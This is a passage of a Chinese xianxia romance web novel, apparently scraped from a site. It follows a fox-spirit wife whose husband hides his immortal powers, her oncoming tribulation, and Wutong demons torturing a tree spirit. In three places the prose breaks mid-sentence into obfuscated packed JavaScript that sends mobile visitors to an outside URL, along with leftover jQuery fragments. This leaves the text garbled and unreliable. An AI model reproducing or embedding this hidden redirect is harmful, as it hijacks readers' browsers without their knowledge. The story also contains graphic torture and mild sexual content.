陈子均这才松了口气,将她轻轻搂入怀中,温声安慰道:“原来是做噩梦啊,都吓到我了。” 脸颊贴在他的胸口,胡翘翘感受着他身上微凉的温度,闭上眼,低低地说,“对不起……相公。” 陈子均用手轻拍着她的后背,语气寻常地低笑着问,“没事,娘子做了什么噩梦?该不会是又被压在什么地方了吧?” “不是……”胡翘翘抬头看了他一眼,然后又慢慢地摇了下头,“比那个还要可怕,我不想回忆啦……” “好,好,”陈子均连忙轻声道,“那就不想了。” 他略低下头,发现胡翘翘额头上全是冷汗,便抬起衣袖,轻轻地替她擦拭:“出了这么多汗,看来这个噩梦真的很吓人。” 这温柔的举动让胡翘翘的眼泪差点决堤,但她还是努力的忍住了,只是略带哽咽地回答,“嗯……很吓人……” “别怕,别怕,都是假的,有相公在呢。”陈子均将她搂得紧了几分,低声安慰。 胡翘翘轻轻地“嗯”了一声,伸出手臂,回抱住陈子均,软声道,“没事了,相公,接着睡吧。” 陈子均静默地低头看着怀里的娇小身影,查阅她记忆的念头在脑海中一闪而过,随即被他自己掐灭——她是他的至亲至爱之人,对付敌人和陌生人的手段,他绝不会用在她的身上。 “好,睡吧。” 胡翘翘闭上了眼,心中却在思潮起伏。 梦中的那一幕幕,真实得几乎不像是梦境,仿佛在过去的某一日,真的曾发生过。 如果这个梦是真的,那么,相公他…… 其实,此刻回想起来,很多事情,其实都有着蛛丝马迹。 比如,相公懂得那么多常人难以理解的知识,那些连普通修士们都不了解的事情,他却了如指掌。 比如,那些厉害的修士,竟然都无法察觉到她这个小小狐妖的存在。 比如,以小青那一点就炸的性子,居然对身为凡人的相公客气到几乎是毕恭毕敬。 还有卤蛋爷爷,他和相公相处之时的态度,与其说是礼貌,不如说是敬畏。 再比如,那个叫做萧凡的男子,身上的气味和相公一模一样,却总是能在她遇到麻烦的时候,及时出现…… 这些种种疑点,此时此刻,尽皆涌上脑海之中。 其实,即便是过去,她也隐隐有所察觉。但是,她下意识的拒绝去想,下意识的不愿意去深究这一切背后的可能,也很少去追问相公关于过去的种种。 或许是因为她的潜意识中在害怕,害怕那个可能实在是太过残酷。 或许什么都不知道,会更快乐。 不记得以前那些事、那些人,自然就不会伤心,不会在意。 在梦醒的那一瞬间,她的脑子中也曾经如此的想过:如果,这个梦是真的,她要怎么办? 但当她看到,她被惊醒的时候,相公那么着急那么不安地叫着她的名字,她又想起,这三年中的每一个点点滴滴。 这三年中,相公对她的好,对她的关心,无微不至。 她病倒时,他衣不解带、寸步不离的呵护照顾,为她寻医问药,喂食倒水,甚至连洗澡换衣都是他亲手亲为。 他本可以不用这样做的。她本不值得他去这样付出。 想到了这里,胡翘翘的心中涌起一阵难以言喻的疼痛。 这是一种沉闷而又酸涩的痛楚,如同血肉被撕裂一般,从胸口蔓延开来,顺着血液流遍全身,最终抵达灵魂的最深处。 所谓的痛彻心扉,无非就是如此了。 然后,她就下定了决心。 无论这个梦是真是假,对她来说,都没有那么重要。 既然过去的事她已经不记得了,那么就将过去全都放下吧,若是永远都想不起来,也没有关系。 对她来说,最重要的,只有他一个人而已。 …… …… 八月中旬,离乡试的时间已经不到十天,长陵城中也已是处处桂花飘香。 胡翘翘当初在白崖村时吃过桂花粥,只是走遍了长陵城也没见到卖的,于是今天早上,她便决定自己做了。 小园子里也种了几棵桂花树,她爬树摘了些最新鲜的桂花,又去了厨房,手脚利索地淘米、洗银耳,将它们一同放入锅中,加入清水,大火烧开后转小火慢炖。 待米粒开花,粥变得粘稠,再将被洗净后包在柔软纱布里的桂花放入粥中,再放若干颗红枣,让它们一起慢慢地渗出所有的香气。 出锅之际,将桂花包先捞起,扔入几粒冰糖,等冰糖融化,一份桂花粥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892999|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便算是熬好了。 胡翘翘盛出一碗,迫不及待地尝了一口。 “嗯,不错!”她满意地点了点头。 搭配桂花粥,自然不能用咸鸭蛋,让粥暖在炉灶上,胡翘翘再取出几块昨日买来的糍糕,淋上蜂蜜,便是完美的早饭。 胡翘翘去书房招呼陈子均吃早饭。 等陈子均放下手中的书卷,来到饭桌前坐下,胡翘翘端来煮好的桂花粥、糍糕,笑盈盈地说,“相公快尝尝我做的桂花粥。” 陈子均舀起一勺,喝了一口,细细 该不错,”他轻轻摩挲着胡翘翘的发丝,将几粒金黄色的桂花捻起,“我们坐牛车去城外走走,顺便到娘子刚才说的那个庙里拜一拜,怎么样?” 胡翘翘轻轻“嗯。”了一声后,不知想到什么,唇角弯了起来,脸颊也浮起了一丝绯色。 陈子均瞅着她,忍俊不禁,“娘子在想什么呢?” 胡翘翘的脸更红了,低头道,“我不说。” “不说?”陈子均抬起手,“不说我挠你痒痒了啊,” “别,别挠呀!”胡翘翘吓了一跳,起身想逃。 她最怕这一招了,每次相公挠她痒时,不让她边笑出眼泪边求饶,是不会停下的。 陈子均将她拉回怀里,“我们是夫妻,娘子有什么不能对我说的,嗯?” 胡翘翘无奈,眨巴着眼,小声说,“我是突然想起,牛车走动的时候,里面一晃一晃的,很是舒服,在车里面,和相公抱在一块儿,也比平时更舒服……” 说到最后,她自己都羞得满脸通红,捂着脸,恨不得找个地缝钻进去。 都怪相公,非要逼她说出来,现在好了,被他知道自己心里这些奇奇怪怪的想法,羞死啦! “哎呀!”胡翘翘突然惊呼一声,抬头看着他,神情慌张地道,“相公,我这样说,算不算去求神的心意不洁啦?呜呜呜,都是相公非让我说……” 她委屈兮兮地,“本来翘翘只是在心里想一想……” “这有什么不洁的,”陈子均正色道,“夫妻亲密,本就是天经地义的事情,神灵知道了也不会怪罪的。不过……” “不过什么?” “以后不要在心里想了,”陈子均一脸正经,“直接告诉我,我才能满足娘子啊。” 第130章 无师自通 天边才露出一丝鱼肚白,淡淡的晨曦透过窗棂,在房间里投下一片柔和的光晕。 答应了胡翘翘今天去城外烧香拜神,于是,陈子均比平时起得早了一些。 此时,胡翘翘睡得还很沉,长长的睫毛在眼睑下投下一片阴影,红润的嘴唇微微嘟起。 陈子均在她光洁的额头上轻轻落下一吻,这才轻手轻脚地掀开被子,起身下了床。 他转身走出房间,轻轻地关上了房门。 胡翘翘依旧闭着眼,安安静静地躺在那儿,只是白皙的耳朵尖轻轻地动了动,捕捉着他发出的细微动静。 在略带着暗色的天光下,陈子均来到花园,取出了一张白纸,一把剪刀。 陈子均握着剪刀,剪动白纸,不一会儿,一个栩栩如生的纸人便剪好了。 陈子均施展了上次得到的“剪纸成兵”之术,纸人飘飘荡荡地落在地面上,下一刻,它如有了生命,竟然摇摇晃晃地站了起来,变成一个身材中等,面容普通的中年汉子,看着和真人几乎没有任何区别,只是眼神中带着一丝木讷和呆滞。 “去把牛车套好,然后等着我的吩咐。”陈子均吩咐道。 “是。” 纸人恭敬地应了一声,转身走向了院子角落的牛棚,将老牛牵了出来,套进牛车,然后坐在车辕上,一动不动地等待着。 胡翘翘将小脸埋进柔软的枕头里,闻着其上残留着的陈子均的气息,心中轻轻地叹了口气。 虽然心中早有猜测,可是此刻亲耳听到,她才真的确定了,相公不是凡人。 所以,这三年多里,她一直被相公瞒在鼓里…… 胡翘翘心中五味杂陈,但其中并没有多少怨恨,更没有责怪。 最多的,是心疼。 她将自己代入到陈子均的位置后,便大概能猜测和理解一二,他这么选择的原因所在。 或许,相公的真实身份和来历,太过惊世骇俗,难以向她解释。 又或许,相公担心当她知道他的真实身份,可能会勾起与过去有关的记忆,而那些记忆,太过痛苦,所以他才选择伪装成凡人,只为给她一份平静安稳的生活…… 其实,无论他是什么样的人,来自哪里,有着怎样的过去,在她的心里,永远都只有一个身份。 那就是她的相公,也是…… 她在这个世上最爱的人。 “吱呀——” 听到房门被推开的声音,胡翘翘才慢慢地睁开了眼。 她美丽的小脸映着从窗外透进来的晨曦,散发着柔和的光辉,双眼也闪烁着,明亮无比地注视着进来的陈子均。 “娘子,醒了?”陈子均一怔,目光中带着一丝温柔。 “是啊,”她的脸上浮出一个浅浅的笑容,柔声道,“相公你起得这么早呀,做什么去了?” 陈子均在床边坐下,抬手轻轻抚摸着她的脸蛋,“今天不是答应陪你去烧香吗?小青又不在,我便早起到西市去找了个人,替我们赶牛车。” “原来是这样呀,相公辛苦啦。” “好了,起来吧,收拾一下,我们准备出发。” “相公,你抱我起来……”她撒娇般地伸出手臂。 “啧。”陈子均无奈地摇摇头,轻轻将她抱起。 大半个时辰后,牛车已经来到了长陵城外。 老牛拉着牛车,一步一步,走得悠闲自在。 任谁看到现在的它,都无法将它和几个月前那头瘦骨嶙峋的老牛联系在一起,四条腿粗如石柱,肌肉在皮下滚动,蕴藏着爆炸性的力量,巨大的牛头上,两只弯曲锋利的牛角像是两把利刃,比最强壮的小公牛还要精神。 车厢发出轻微的晃动。 胡翘翘像只慵懒的小猫,正乖巧地蜷缩在陈子均的怀抱中。 陈子均用大掌包裹着她一只小手,修长的手指有一下没一下地轻轻摩挲着她的手背。 也不知过了多久,胡翘翘忽然仰起头,软糯糯地唤了一声“相公”。 陈子均回应,“怎么啦?” 胡翘翘轻轻皱了皱小巧的鼻子,有些困惑地抬头,望着他问道:“相公,妖怪在渡劫之前,会不会提前有感觉呀?” 这些日子以来,她虽已停了服用灵液,但仍一天比一天明显地感觉到自己的命魂已经凝实得逼近极限。 与此同时,体内的太阴星力也越来越浓,此刻也似乎到了它所能浓缩的上限,似是随时都会发生某种不可预知的质变一般。 可是,这种质变究竟会在什么时候发生,会以什么样的方式到来,她却一点也察觉不到。 陈子均轻柔地抚弄着她的手指,仿佛在安抚她的不安,“这个因妖而异的,有些妖怪可能会提前很长时间,就能确定自己渡劫的具体时候,有些可能要在天劫到来的前一刻,才有所感应。” “这样啊……”胡翘翘喃喃自语,心中更加忐忑。 陈子均望着她,问道:“娘子是在担心渡劫的事情吗?” 胡翘翘轻轻点点头,将脑袋靠在了他的肩上。 一时间,她都不知道自己是希望雷劫早点来,还是晚一点来的好。 早点来,万一那结局是 她所不愿的…… 晚一点,就这种似乎随时可能炸开一个大雷的情况,整天提心吊胆,真的很难受,简直堪比被凌迟处死。 “相公,你答应我……“ “什么?” “万一……万一翘翘渡劫失败了……”她叹了口气,喃喃地说,“到时候,你不要太伤心,每次想起翘翘时,最多只能伤心三分钟,知道吗?” 陈子均又好气又好笑,抬手揉了揉她的脑袋,“别说傻话了。” “什么傻话呀,翘翘很认真的。”她小声咕哝。 陈子均无奈了,将她揽入怀中,轻轻拍着她的背,低声安慰道:“放心吧,娘子一定能顺利过去的。” 胡翘翘将头埋在他的胸膛,声音闷闷的,“希望如此吧……” …… 又走了片刻,牛车终于缓缓停了下来。 “到了,公子。”赶车的中年汉子说道。 陈子均推开了车厢的门,刚下车,视线往前一探,眉头却不禁微微皱了起来。 只见不远处,一座香火鼎盛的庙宇赫然矗立,朱红色的庙门大开,人来人往,络绎不绝,庙门上方,赫然挂着一块金字匾额,“五通神庙”四个大字龙飞凤舞,却透着一股说不出的邪气。 没想到,这里竟是五通妖的庙宇。 看样子它们最近的信徒发展得很快,竟然将手伸到了长陵城。 陈子均正准备重新上车,吩咐纸人驾车离去,下一瞬,视线忽地停在了人群中的一个白衣文士的身上,眸光微沉。 那文士样貌英俊,手持折扇,轻轻摇动,风度翩翩,然而,双眼却带着淫邪之意,此时正贪婪地扫视着人群中的年轻女子,如同毒蛇在盯着自己的猎物。 “五通妖之一的化身?” 这时,那白衣文士也似有所觉,抬头望向陈子均,四目相对。 他先是注意到了陈子均的俊美,眼中闪过一丝嫉妒,随后以神识一探,发现陈子均只是个凡人,眼中的恶意便肆无忌惮起来,正要以神念直接将这俊美书生的魂魄摧毁,却突然愣住了。 “哇,好多人啊,香火好旺呀!”甜软的声音在陈子均耳边响起,胡翘翘探出了脑袋,好奇地打量着四周,“这个什么五通神庙,应该很灵验吧?” 她出现的那一刹那,四周的阳光似是都明媚了几分。 白衣文士直勾勾地看着她,手中折扇啪嗒一声落在地上。 好一个绝色小娘子…… 陈子均淡淡道,“娘子,别出来。” “哦。”胡翘翘乖乖地坐了回去。 “回家。”陈子均对纸人说了声。 正要重新坐回牛车,那白衣文士却已经走了过来,折扇轻敲着手心,似笑非笑地问道:“书生既然来了,为何不进庙一拜?” 陈子均扭头,瞥了他一眼,语气平静地回:”区区五通妖,也配我一拜?“ 话落,他也不在意对方的反应如何,便直接回了车厢。 纸人赶着老牛,毫不犹豫地折转向来路走去。 白衣文士站在原地,眼看着牛车远去,面色阴沉不定。 听对方的口气,难道对方并非凡人,甚至看出了他的真实身份? 他只是个化身,实力不如本体的十分之一,兼之光天化日之下,人多眼杂,一时间,心中忌惮升起,倒也不敢轻举妄动。 但是,那小娘子,是他这么多年中见过的仅有的绝色,绝不可能就此放弃! 待到夜幕降临,本体便会亲自过来,这书生就算再厉害,必然也不是对手。 哼,到时候,先杀了这不知死活的书生,再将那小娘子掳了去,好好享用一番…… …… 车厢内。 “相公,你怎么啦?为什么不进庙去拜五通神呀?”胡翘翘好奇地问道。 陈子均伸手将她揽入怀中,轻声道:“五通神是有名的邪神,我们不能拜。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893000|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “啊?邪神?”胡翘翘有些惊讶地睁大了眼,仰头看着他,“可是……可是我看那庙里香火那么鼎盛,人来人往的,大家都去拜呢……” “这世上的凡人多数愚昧无知,短视贪婪,只要邪神能满足他们的心愿,便不去思考需要付出何等的代价,是以,信仰邪神的愚民不在少数。”陈子均淡淡地道,“可惜,他们往往要到最后,才知道,那代价是他们所承受不起的。” 胡翘翘似懂非懂地点点头,轻声道,“知道了,我听相公的。” 陈子均轻轻抚摸着胡翘翘的头发,漆黑的眸子中闪过一丝寒芒。 如果那五通神识相,就此作罢,那他便也懒得理会,毕竟,这世上妖魔鬼怪多如牛毛,他总不能一个个都去清理干净。但如果对方要自寻死路,那他也不介意大开杀戒,将他们连根拔起,永绝后患! …… 回到小宅,等胡翘翘进了房,陈子均才撤去“剪纸成兵”。 车夫重新变回了纸人,轻飘飘地落在地上。 夕阳西下,夜幕降临。 如平时一般,胡翘翘沐浴过后,陈子均也走向了浴房。 自从那次之后,夫妻俩偶尔也会一起洗澡,只是浴桶空间狭小,容纳两人毕竟有些局促 ,所以大多数时候,他们还是分开各自洗。 片刻后,陈子均回到卧室。 “相公,我来帮你烘头发。”胡翘翘拉过一把竹椅,让陈子均坐下,纤纤玉指间流转着妖气,轻轻地烘干他湿漉漉的长发。 烘着烘着,小狐狸就开始心猿意马了。 刚洗完澡的相公,肌肤光润堪比最好的瓷器和丝绸的混合体,白皙而带着微红。 近看的时候,甚至能看到,他长长的睫毛也是湿润的,却显得那双黑曜石般的眼眸更加深邃迷人。 胡翘翘又低头凑近陈子均还没有完全干的头发,轻轻嗅了一下。 因为沐浴时加入了之前炼好的栀子花香油,此刻,她的鼻尖盈满了清甜的栀子花香气。 其实她的沐浴水中也添加了同样的香油,她的身上、头发上也带着一模一样的香味,可在她自己的身上闻着没什么感觉,但是从相公的身上闻到,就让她一种说不出的心猿意马。 真好闻呀,好闻得让她简直想一口将相公给吞下去。 唉,离乡试还有多少天来着? 一、二、三…… 啊?还有至少一周呢? 小狐狸在心里默默地算完,顿时沮丧了几分。 真是,她都要等不及了。 等陈子均的头发彻底干爽,随后,胡翘翘将手一挥,烛火便随之熄灭。 “相公,我们睡觉啦!” 话音一落,她便迫不及待地拉着陈子均躺下,而后,就开启了吃豆腐的过程。 她伸出双手抱住陈子均的腰,然后整个人如八爪鱼般缠了上去,脸颊埋在他的颈窝,深深地吸了口气。 “相公,你真香呀。” 温热的气息喷洒在陈子均颈间,酥酥麻麻的。 未等他回应,一个吻便落了下来。 原本小狐狸的吻技一直很青涩,但这段时间以来,也不知是不是突然开窍,突然无师自通地变得高明了许多,竟都懂得一些技巧了。 毕竟这种快乐的事儿,不仅是人类有着无穷无尽的探索和求知欲望。 妖怪也不例外。 两人的呼吸彼此交融,仿佛连月光都变得粘稠起来。 吻着吻着,胡翘翘想起了下一步要做的事,呼吸渐渐急促起来。 深吸几口气,闭上眼,颤抖着手,最终轻轻贴住了某个地方。 “相公,我、我想碰一下……可以吗?”她鼓起勇气,声音细若蚊呐。 虽然已经亲眼见过,可是,她还没触碰过呢! 只是这种事情,对毫无经验的小狐狸来说,有点太刺激了。 所以她说这话的时候,紧紧地闭着眼,似乎只要接触不到陈子均的视线,她的胆子就会大一点了,也能给自己增添几分勇气,驱散那快要将她淹没的羞涩。 但饶是如此,她说完这句后,脸颊依旧瞬间滚烫了起来,然后就将脸埋在了陈子均的胸口里。 陈子均垂眸看去,即使房间里漆黑一片,他依旧能清清楚楚的见到,胡翘翘埋在他怀中、只露出小半的脸颊上此刻绯红一片,就像是被春日的桃花染过一般迷醉动人。 然而,那只小手却依旧没有拿开,仿佛在期待着什么。 陈子均没有说话,只是握住了她的手,带着她,一点点地…… 第131章 六妹,谁杀的? 胡翘翘受到了鼓舞,一边羞涩难当,一边求知若渴地摸索着,脑海中同时浮现出之前在那画册上看到的画面,大有理论结合实践、动脑又动手的精神。 窗外月色正好,屋内……春色撩人。 然而,就在此刻,胡翘翘忽然感觉到了什么。 她心头一凛,原本迷离的双眼骤然清明,如同受惊的小兔子一般,慌乱地从陈子均的身边爬了起来。 “怎么了?”陈子均问、 “相公,我、我好像要渡劫了!” 胡翘翘的声音里带着一丝慌乱。 “渡劫?怎么会这么突然?”陈子均脸色微变,立刻坐起身,迅速穿好衣服。 “我也不知道……”胡翘翘也慌慌张张地整理着衣服,“我感觉有一股强大的力量在体内乱窜,好像随时都要爆发出来……” 陈子均快步来到窗边,推开了窗。 只见原本繁星点点的夜空不知何时已经被厚厚的乌云所遮蔽,一股沉闷压抑的气息弥漫在空气中,让人喘不过气来。 “看来,是真的要来了……” “我去找个僻静的地方,免得惹出太大的动静。”胡翘翘跳下床,交代道,“相公在家中等我。” “不行,我陪你一起去。”陈子均拉住她的手臂,说。 胡翘翘怔楞了一瞬,很快摇头,“不行,相公你不能去!天劫威力巨大,你若靠近,必会被波及,到时候我还要分心照顾你,反而会更加危险!” 虽然此刻她已经基本确定,相公不是凡人,但那可是天劫啊,她怎么敢让他陪着她冒这个险。 万一她的判断错了,岂不是悔之莫及。 还有,她也不打算在相公自己愿意之前,抢先揭开他的身份。 “相公放心,为了你,翘翘一定会成功的,”说完这句话,胡翘翘抬起头,在陈子均的唇上轻轻一吻,露出一个温柔的笑,“明天早上,等相公准备好早饭,翘翘就会回来和你一块儿吃。” 陈子均深深地看了她一会,松开了手,“好,你一定要回来。” “嗯!” 胡翘翘转过身,飞快地跑了出去,身影很快便消失在夜色中。 …… …… 夜色中,一道白衣身影正姿态潇洒地往长陵城的方向飞来。 这人做文士打扮,样貌英俊,手里摇着一把绘着春宫图的折扇,他是一只白鹤成妖,在五通妖中排行老三,自称白鹤神君。 “真没想到,长陵城中竟然还有那般的绝色佳人,简直生平罕见,今夜我一定要将她弄到手……”回想起白日里惊鸿一瞥,白鹤妖的心中一片火热,不过又并未完全丧失理智,“长陵城中修士不少,还是得小心行事……” 眼见长陵城就在前方,白鹤妖正欲加快速度,身形蓦地一止,看向头顶那漆黑如墨的夜空,眼神讶异。 “是雷劫?这一带有妖怪要渡劫了?” 这突如其来的雷劫,无疑给他的计划增添了几分变数。雷劫一出,必然会惊动城中修士,届时他想要在城中行事,恐怕就不那么方便自如了。 刚觉得有几分棘手,白鹤妖眼神一动,察觉到了什么,他猛然转头,只见一道娇俏纤柔的身影,正从长陵城中飞出,直奔城外而去。 尽管夜色昏暗,他还是一眼就认出了那道身影,正是白日里让他惊鸿一瞥,魂牵梦绕的小娘子。 “哈哈哈,真是天助我也!”白鹤妖顿时大喜过望,“小娘子竟自己送上门来了!” 他舔了舔嘴唇,身形一晃,正欲追上去,就在这时,一个黑影突然从天而降,落在他的前方。 白鹤妖一愣,看过去后,跟着也认出,正是白天化身见到的与小娘子一起的俊美书生,对方正冷冷地看着他,眼中透着杀机。 随即,白鹤妖轻蔑地笑了起来,手中的折扇有一下没一下地敲击着手心:“就凭你,也敢挡你家白鹤神君的路?识相的赶紧滚,等本神君抓到那小娘子,高兴了,兴许还能饶你一命…” 他边说着,边漫不经心的以神念扫过对方,下一瞬,声音戛然而止。 怎么,他竟然察觉不出对方的实力深浅? 难道对方的实力还要胜过他不成? 到底是身经百战、诡诈多端的邪神,白鹤妖立即反应过来,他脸孔狰狞,闪电般抢先出手,他五指成爪,其上凝聚了他这千年积攒的信仰之力,在这一刻轰然爆发,百丈方圆的空间都被扭曲,声势惊人地直奔陈子均而去。 先下手为强! 全力以赴! 这一下快到了极致,那书生果然如没反应过来般,没做出任何躲避的举动。 白鹤妖的脸上露出一抹残忍的狞笑。 “死吧!” 然而,就在他的双爪要将书生的心脏直接抓出之时,对方带着冷意的声音,骤然传出。 “艮为山!” 这一声低喝,仿若蕴含着天地至理,刹那间,一股无形、却又无法抗拒的巨力骤然爆发。 白鹤妖的狞笑还未彻底消散,便已凝固在了脸上。 …… …… 夜色中,胡翘翘一路飞行,终于在附近找到一处隐秘的山 洞。 洞口被茂密的藤蔓遮掩,若不仔细查看,根本发现不了这里别有洞天。 她抬头望了眼夜空,此刻,那漆黑之中,已经隐约有银色的雷光在翻滚,像是沸腾的开水一般,仿佛预示着即将有一场狂风暴雨降临,引得她体内的妖力也在蠢蠢欲动。 “没时间了,就这里吧。” 胡翘翘轻呼口气,闪身进入洞中,盘腿坐下,努力压制着体内躁动的妖力,调息凝神,准备迎接即将到来的天劫。 …… …… 与此同时,在距离长陵城千里之外,一所装饰奢华,金碧辉煌的洞府之内。 此刻,五通妖中的余下四妖,正聚在这里。 为首的黄袍男子坐在椅子上,脸色阴沉地问:“老三呢,怎么现在还没到?” “三哥去长陵城了,他今儿白天在长陵城附近见到了一个美貌小娘子,打算今晚将她掳来……”老四蛤蟆妖挠了挠头,瓮声瓮气地说道,“他说去去就回……” “哼,那小子,明明和他说了,今晚有正事要做,还这么不知轻重!”那瘦高男子冷冷地道。 “既然老三不在,那就不等他了,”黄袍男子眼中寒光闪烁,沉声说道,“我这就施展神通,找出杀死六妹的凶手!” “大哥辛苦了!”其他三妖齐声应道。 黄袍男子深吸一口气,缓缓闭上双眼,双手不断地变换着各种复杂的手印,口中念念有词,一股强大的气息从他身上散发出来,弥漫整个洞府。 片刻之后,他的眉心处,突然裂开一道缝隙,露出一只眼球,其上布满了血丝,仿佛要从眼眶中瞪出来一般。 “因果之瞳!” 黄袍男子猛地睁开双眼,眼球内射出一道血色的光芒,投在前方的虚空之中。 那上面,渐渐显出一副模糊不清的画面…… 忽然,画面瞬间消失,恢复了平静。 “怎会如此?!” 黄袍男子全身剧震,同时张开嘴,吐出一大口鲜血来,整个人的气息也变得颓靡了几分。 “大哥,怎么样?查到是谁杀了五妹了吗?”矮胖男子最是性急,立马问道。 黄袍男子抬起头,从吐血开始,他的脸色就变得极为难看,此时更是阴沉得像是随时要下一场类雷电交加的大暴雨。 “这凶手不知用了什么手段,竟连我这源自六耳猕猴血脉的天赋神通也无法追查得到……不过,我感应到了一个地方。那里,和六妹的死有着千丝万缕的联系……” “什么地方?”余下三妖一起问道。 黄袍男子目光阴冷,一个字,一个字地吐出。 “白崖村。” …… …… 夜风拂过静谧的白崖村,村口那个焦黑的梧桐树桩,此时已经抽出了几条嫩绿枝桠,叶片随着夜风轻轻摇曳,像是在低声诉说着什么。 树桩旁,有一张木桌,上面摆着副棋盘,童正正坐在桌前,自己与自己对弈。 “嗯……如果是秀才在这里,这一步他会怎么下……” 正捻着白胡子苦苦思索,忽然间,一股令人心悸的妖气从远处传来,童正浑身一颤,手中的棋子“啪嗒”一声落在地上。 他猛地抬头,望向村外,眼中透出一丝惊惧。 四股冲天的妖气,如同翻滚的浓墨般,正朝着白崖村的方向席卷而来。 好……好强的妖气……” 童正老脸神情剧变,其中最强的那道妖气,甚至让他生出一种难以言喻的渺小感,仿佛自己在这股力量面前,如同蝼蚁一般脆弱。 对方是什么人? 莫非是冲着白崖村来的? 如果是,他该怎么办?! 顷刻之后,四道身影从天而降,带着凛冽的妖风,重重地落在村口。 “白崖村……”黄袍男子目光如刀,扫视着眼前宁静的小村庄。 “就是这里吗?”矮胖男子恶狠狠地道,“很好,我要大开杀戒,屠光这里的人,鸡犬不留,为六妹报仇!” 独臂男子也露出狞笑,腥红的舌头来回舔着嘴唇,“好久没尝过新鲜人肉的滋味了,今天一定要吃个饱!” “等等,别急着动手。”黄袍男子神念一扫,顿时皱起眉头,沉声道。 “怎么了大哥?”两人齐声问道。 “怪了……”黄袍男子拧着眉,低声道,“我分明感觉到,这里除了一个千年树精,根本没有能威胁到六妹的人存在。” “莫非是那个千年树精动的手?!”一个瘦高男子闻言一愣,随即反驳道,“可它才区区千年修为,怎么可能是六妹的对手?再说,它若真是凶手,又怎么可能逃过大哥你的追查推算?” 黄袍男子冷冷地开口,“老五,你去将那个树精带过来,我要仔细问问,看他是否知道六妹的死因!” “好。” 独臂男子应了声,身形一晃,瞬间便来到了老梧桐树前,紧接着,他毫不犹豫地抬起手,竟直接将童正从树干中揪了出来! 童正被独臂男子如同提小鸡仔一般提在半空中,毫无抵抗之力。 砰! 童正被猛然丢在黄袍人的面前。 他战战兢兢地抬起头,看着四妖,“几、几位朋友,你们要做什么?” “老东西,我问你,我们的六妹是不是你杀的?”矮胖男子怒冲冲地问道。 童正瞠目结舌,“你们的六妹?我不知道她是谁啊……” 高瘦男子盯着他,“五通娘子,你可听过?” “五通娘……”童正全身猛地一震,老眼瞪大到了极限,“你们、你们是五通……五通神?!” 矮胖男子露出一口白森森的獠牙,狞笑道,“既然你知道我们的名号,就该知道我们的手段。不想生不如死,就老实交代!对了,我大哥可是出了名的神机妙算,你若敢骗我们,他一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893001|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就能看穿!” 高瘦男子则是阴测测道:“快点说,谁是杀害我们六妹的凶手!” 一听到是这五个邪神,童正的心顿时凉了半截。 他正要伸手去摸怀中陈子均临走时给他的那片树叶,犹豫了一下,却又停了下来。 五通妖凶名昭著,万一秀才回来后也不敌这几个妖怪,反而可能连累得他也丢了性命…… “几位,五通娘子……是我杀的!”童正深吸一口气,决定将所有罪责都揽到自己身上,“几个月前,五通娘子的化身路过此地,在下见她修为高深,便起了歹意,趁其不备,抓住了她的化身,逼问住了她的本体所在,杀死她后,吸取了她一身的修为……” “你放屁!”独臂男子勃然大怒,一脚重重地踹在童正的胸口,厉声道,“我六妹修炼千年,一身修为何等高深,就凭你一个区区千年树精,也敢妄言杀害她?!我看你是活腻了!” 童正被踹得七荤八素,他挣扎着从地上爬起来,苦笑道,“几位,我说的句句属实!五通娘子,确实是在下杀的!在下愿意一命赔一命!“ “哼!老东西,你以为你是谁?!”矮胖男子骂道,“我六妹的命,岂是你这条烂命能赔得起的?!” 黄袍男子盯着他,过了片刻,嘴角才徐徐地勾了起来,“真是不见棺材不落泪。老二,你去教教他,该怎么说实话。” 被唤作老二的瘦高男子闻言,缓缓抬起脚,一步一步走向童正。 他并没有多余的动作,只是随意地伸出一只手,便如拎小鸡般掐住了童正的脖子,将他整个人提了起来。另一只手则如同铁钳一般,牢牢地扣住了童正的一条手臂。 下一瞬,一抹嗜血之色闪过的同时,他竟是直接发力,将童正的那条手臂硬生生地扯了下来! “啊——” 童正老脸上的肌肉不受控制地抽搐着,剧痛席卷了他的全身。 瘦高男子盯着童正,手指放在了他的胸口位置,目光阴毒冰冷,“再不说实话,我就要挖出你的妖珠了。” 童正的白须剧烈颤抖着,深吸口气,他从喉咙深处挤出了一个声音,“真的,五通娘子真的是我杀的,毫无半字虚言……和其他人无关,和村子里的其他人也无关…“ 黄袍男子突然开口,“老二,老四,去将这个村里的所有人都抓过来。” “什么?!”童正一怔。 “你若还不说实话,过一个呼吸,我就杀这村中一个人。”他语气极淡,仿若杀人如喝水吃饭般寻常。 童正的老脸顿时煞白,全身如坠冰窟。 